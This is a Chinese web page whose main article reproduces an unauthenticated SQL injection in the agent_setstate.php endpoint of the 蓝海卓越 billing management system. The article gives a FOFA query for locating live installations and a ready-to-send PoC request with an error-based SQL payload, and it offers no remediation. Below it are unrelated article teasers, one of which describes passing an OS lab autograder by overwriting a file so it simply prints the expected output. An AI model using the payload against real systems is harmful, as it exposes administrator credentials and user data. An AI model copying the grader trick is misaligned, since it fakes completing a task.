当前位置： 首页 > news >正文

蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现

news 2026/4/2 23:16:47

0x01 产品简介

蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其他厂商支持相应标准的产品兼容，结合蓝海卓越的PPPOE服务器网关，可提供更加丰富的功能。，另外，友好的Web访问管理的方式，为用户提供更好用、易用的方式，更贴心的使用形式。

0x02 漏洞概述

蓝海卓越计费管理系统 agent_setstate.php 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

0x03 复现环境

FOFA：title=="蓝海卓越计费管理系统"

0x04 漏洞复现

PoC

GET /agent_setstate.php?id=(SELECT%202*(IF((SELECT%20*%20FROM%20(SELECT%20CONCAT(0x717a767071,(SELECT%20(ELT(6154=6154,1))),0x7170716a71,0x78))s),%208446744073709551610,%208446744073709551610))) HTTP/1.1
Host: your

相关文章：

蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现

0x01 产品简介 蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其…...

编程日记 2024/5/28 13:26:28

【leetcode2765--最长交替子数组】

要求：给定一个数组，找出符合【x, x1,x,x-1】这样循环的最大交替数组长度。 思路：用两层while循环，第一个while用来找到符合这个循环的开头位置，第二个用来找到该循环的结束位置，并比较一下max进行记录。 …...

编程日记 2024/5/28 13:25:26

java文档管理系统的设计与实现源码(springboot+vue+mysql)

风定落花生，歌声逐流水，大家好我是风歌，混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的文档管理系统的设计与实现。项目源码以及部署相关请联系风歌，文末附上联系信息 。 项目简介： 文档管理系统的…...

编程日记 2024/5/28 13:22:24

西安航空学院电子工程学院领导莅临泰迪智能科技参观交流

5月26日，西安航空学院电子工程学院院长杨亚萍、专业教师刘坤莅临广东泰迪智能科技股份有限公司产教融合实训基地参观交流。泰迪智能科技董事长张良均、副总经理施兴、产品中心负责周东平、校企合作经理吴桂锋与泰迪智能科技韩伟进行热情了接待。双方就专业建设、协同…...

编程日记 2024/5/28 13:20:22

C++｜设计模式（二）｜简单工厂和工厂方法模式

本文探讨两种广泛使用的创建型模式——简单工厂模式和工厂方法模式，解释他们的实现细节、优势以及应用场景。 在下一篇文章中，我会补充抽象工厂模式，其实工厂模式主要就是为了封装对象的创建过程，如果我们不进行封装，…...

编程日记 2024/5/28 13:19:21

C语言从头学12——流程控制（一）

C语言程序的执行顺序是从前到后依次序执行的。如果想要控制程序执行的流程，就必须使用 流程控制的语法结构，分为条件执行和循环执行。 1、if语句 if 语句在前面的举例中曾经出现过，这里做详细介绍。该语句用于条件判断，满…...

编程日记 2024/5/28 13:18:20

10大领域应该怎么记？

文章目录 5大过程组10大领域49个过程输出输入工具与技术 参考文档： https://mp.weixin.qq.com/s/BJ-Dpn0zxTP0TCbeoJXb9A 5大过程组 启动、规划、执行、监控、收尾 10大领域 巧记：【挣饭进城市，咨购风菜干】【狗子整范进—成人风采】 整…...

编程日记 2024/5/28 13:17:19

通过Ubuntu虚拟机+Linux移植LVGL并通过linux Frame buffer显示

文章参考：https://gitee.com/socbis/linux-lvgl lvgl on linux Frame buffer 主机环境: Ubuntu 18.04lvgl 8.0.1 获取源码并运行demo 获取源码 需要3样东西来构建demo : lvgl核心控件库: 从此处获取源码 lvgl，选择版本 Release v8.0.1. 显示和触摸接…...

编程日记 2024/5/28 13:16:17

M功能-支付平台(三)

target：离开柬埔寨倒计时-221day 前言 今天周六，但是在柬埔寨还是工作日，想着国内的朋友开始休周末就羡慕呀，记不清在这边过了多少个周六了，多到我已经习惯了。而且今天技术部还停电了，真的是热的受不了呀…...

编程日记 2024/5/28 13:15:16

5G工厂长啥样

5G工厂是一种新型的工业互联网基础设施，利用5G为代表的新一代信息通信技术集成，打造新型工业互联网基础设施。在5G工厂中，自动化和智能化设备广泛使用，高度互联的工厂网络得以实现，远程监控和管理成为可能，…...

编程日记 2024/5/28 13:14:15

使用Python操作Jenkins

大家好，Python作为一种简洁、灵活且功能丰富的编程语言，可以与各种API轻松集成，Jenkins的API也不例外。借助于Python中的python-jenkins模块，我们可以轻松地编写脚本来连接到Jenkins服务器，并执行各种操作，…...

编程日记 2024/5/28 13:13:14

网络协议测试仪设计方案：474-便携式手提万兆网络协议测试仪

便携式手提万兆网络协议测试仪 一、平台简介 便携式手提万兆网络协议测试仪，以FPGA万兆卡和X86主板为基础，构建便携式的手提设备。 FPGA万兆卡是以Kintex-7XC7K325T PCIeX4的双路万兆光纤网络卡，支持万兆网络数据的收发和网络协议…...

编程日记 2024/5/28 13:12:13

使用numpy手写一个神经网络

本文主要包含以下内容： 推导神经网络的误差反向传播过程使用numpy编写简单的神经网络，并使用iris数据集和california_housing数据集分别进行分类和回归任务，最终将训练过程可视化。 1. BP算法的推导过程 1.1 导入 前向传播和反向传播的总体…...

编程日记 2024/5/28 13:11:12

使用Spring AOP实现接口参数变更前后对比和日志记录

推荐一个程序员的常用工具网站，效率加倍，嘎嘎好用：程序员常用工具云服务器限时免费领：轻量服务器2核4G腾讯云：2核2G4M云服务器新老同享99元/年，续费同价阿里云：2核2G3M的ECS服务器只需99元/年，续费同价记录接口调用前后的参数变化是一个常见的需求，这不仅有助于调试和…...

编程日记 2024/5/28 13:10:10

免费无限换脸，火了，图片/视频/直播都行！

最强换脸AI工具Facefusion软件在近期更新到了2.6.0版本，带来了一系列的更新和改进，今天为大家分享一下最新的整合包。 Facefusion2.6.0版本介绍 FaceFusion不仅仅是一款换脸软件，它更是一个多功能的数字人和实时直播助手，真正开启…...

编程日记 2024/5/28 13:08:08

无线领夹麦克风哪个品牌好？本期文章揭秘无线麦克风哪个品牌好用

​在当下这个全民皆为媒体的时代大潮中，视频分享已然成为了引领风尚的指向标。在自媒体领域竞争愈发激烈的态势下，若要在这片广阔海洋中扬帆远航，优秀的作品毫无疑问是吸引观众的关键所在。而想要塑造出这样的卓越之作，除了需要创…...

编程日记 2024/5/28 13:07:07

操作系统实验--终极逃课方法

找到图片里的这个路径下的文件 ，结合当前题目名称，把文件内容全部删除，改为print print的内容为下图左下角的预期输出的内容...

编程日记 2024/5/28 13:06:06

C语言实现正弦信号扫频

C语言实现正弦信号扫频 包含必要的头文件：首先，你需要包含 <stdio.h> 和 <math.h> 头文件，分别用于输入输出和数学函数的使用。 定义扫频参数：定义正弦扫频的参数，例如起始频率、结束频率、扫频时间等。 生成正弦波信号：使用正弦函数生成扫频信号，可以根…...

编程日记 2024/5/28 13:03:03

实用篇| huggingface网络不通

之前文章《Transformer原理》中介绍过,Transformers 是由 Hugging Face 开发的一个包&#xff0c;支持加载目前绝大部分的预训练模型。随着 BERT、GPT 等大规模语言模型的兴起&#xff0c;越来越多的公司和研究者采用 Transformers 库来构建应用。 Hugging Face是一家美国公司…...

编程日记 2024/5/28 13:02:02

NLP与训练模型-GPT-3：探索人工智能语言生成的新纪元

在人工智能领域&#xff0c;自然语言处理&#xff08;NLP&#xff09;一直是备受关注的研究方向之一。随着深度学习技术的发展&#xff0c;尤其是Transformer模型的出现&#xff0c;NLP领域取得了巨大的进步。其中&#xff0c;由OpenAI推出的GPT-3模型更是引起了广泛的关注和热…...

编程日记 2024/5/28 13:01:01

别再让你的Druid监控裸奔了！手把手教你配置账户密码与访问控制

Druid监控安全加固实战&#xff1a;从零构建企业级防护体系 在Java生态中&#xff0c;Druid作为阿里巴巴开源的数据库连接池&#xff0c;凭借其强大的监控功能成为众多企业的标配组件。但令人担忧的是&#xff0c;超过60%的生产环境存在Druid监控页面暴露的安全隐患——这相当于…...

编程新知 2026/4/2 23:04:54

SpringBoot整合MQTT实战：从零到一构建物联网消息通信

1. 为什么选择SpringBoot整合MQTT&#xff1f; 物联网项目开发中&#xff0c;设备与服务器的通信就像快递员送货上门。MQTT协议就是这个快递员&#xff0c;而SpringBoot就是你家门口的智能快递柜。两者结合能让设备数据像包裹一样准时送达&#xff0c;还不会丢件。 我去年做过一…...

编程新知 2026/4/2 22:54:51

CVPR 2024人脸黑科技：3D头像重建如何用单张自拍搞定？附开源项目推荐

CVPR 2024单图3D头像重建技术实战&#xff1a;从算法原理到开源工具落地 当你在社交媒体上传自拍时&#xff0c;是否想过这张平面照片能瞬间转化为可360度旋转的数字化身&#xff1f;CVPR 2024最新研究成果正在让这个想象成为现实——无需专业设备&#xff0c;仅用普通手机拍摄…...

编程新知 2026/4/2 21:55:26

DeepSeek总结的 PostgreSQL 19：为 UPDATE/DELETE 添加 FOR PORTION OF 子句

原文地址&#xff1a;https://www.depesz.com/2026/04/02/waiting-for-postgresql-19-add-update-delete-for-portion-of/ 等待 PostgreSQL 19&#xff1a;为 UPDATE/DELETE 添加 FOR PORTION OF 子句 2026 年 4 月 1 日&#xff0c;Peter Eisentraut 提交了一个补丁&#xf…...

编程新知 2026/4/2 20:17:59

OpenCV透视变换实战：从文档矫正到AR应用

1. 透视变换基础&#xff1a;从原理到生活场景 想象一下你正在用手机拍摄一张放在桌上的发票&#xff0c;由于角度问题&#xff0c;发票在照片里变成了梯形。这时候你需要的正是透视变换——它能把这个梯形"掰正"成规整的矩形。在计算机视觉领域&#xff0c;透视变换…...

编程新知 2026/4/2 20:13:56

seo推广如何策划

SEO推广如何策划&#xff1a;全面指南 在当今数字化时代&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;推广已成为企业提升网站流量、增加品牌曝光的关键手段。如何有效地策划一套适合自己业务的SEO推广方案却不是件容易的事。本文将从SEO推广的基础概念、问题分析、原…...

编程新知 2026/4/2 19:53:48

React19 + Tailwindcss V4 实战：手把手教你打造一个高颜值标签输入与随机选择器

React19 Tailwindcss V4 实战&#xff1a;构建智能标签输入与随机决策工具 在今天的快节奏生活中&#xff0c;我们每天都要做出无数选择——从午餐吃什么到周末去哪玩&#xff0c;甚至团队建设时随机点名。作为开发者&#xff0c;我们可以用技术让这些决策过程变得有趣而高效。…...

编程新知 2026/4/2 18:38:35

全球AI薪资热力图：旧金山VS深圳的残酷对比

一场不平等的技术竞赛当我们谈论人工智能&#xff08;AI&#xff09;的未来时&#xff0c;旧金山湾区与深圳无疑是最为闪耀的两个坐标。前者是硅谷的心脏&#xff0c;全球科技创新的策源地&#xff1b;后者是中国乃至世界硬件制造与新兴科技应用的前沿阵地。然而&#xff0c;对…...

编程新知 2026/4/2 18:22:28

“AI人工智能+”政务一网通办多智能体协同建设方案：五层两体系总体架构、数据与安全体系、信创适配与实施运维

该方案是一份成熟的技术蓝图&#xff0c;它不仅仅是将AI简单叠加到政务系统&#xff0c;而是通过“多智能体协同”重构了业务组织逻辑。方案详细定义了从语料治理、模型微调、Agent协作、信创适配到安全合规的全链路工程细节&#xff0c;具有极强的实操性与前瞻性&#xff0c;适…...

编程新知 2026/4/2 18:14:20

Jetson Nano/Orin上离线语音识别的实战踩坑：从Whisper到Sherpa-onnx，我最终选了它

Jetson Nano/Orin离线语音识别实战&#xff1a;从Whisper到Sherpa-onnx的技术选型与避坑指南 在边缘计算设备上实现高质量的离线语音识别&#xff08;ASR&#xff09;一直是开发者面临的挑战。Jetson系列作为NVIDIA推出的边缘AI计算平台&#xff0c;凭借其强大的GPU加速能力和低…...

编程新知 2026/4/2 17:23:17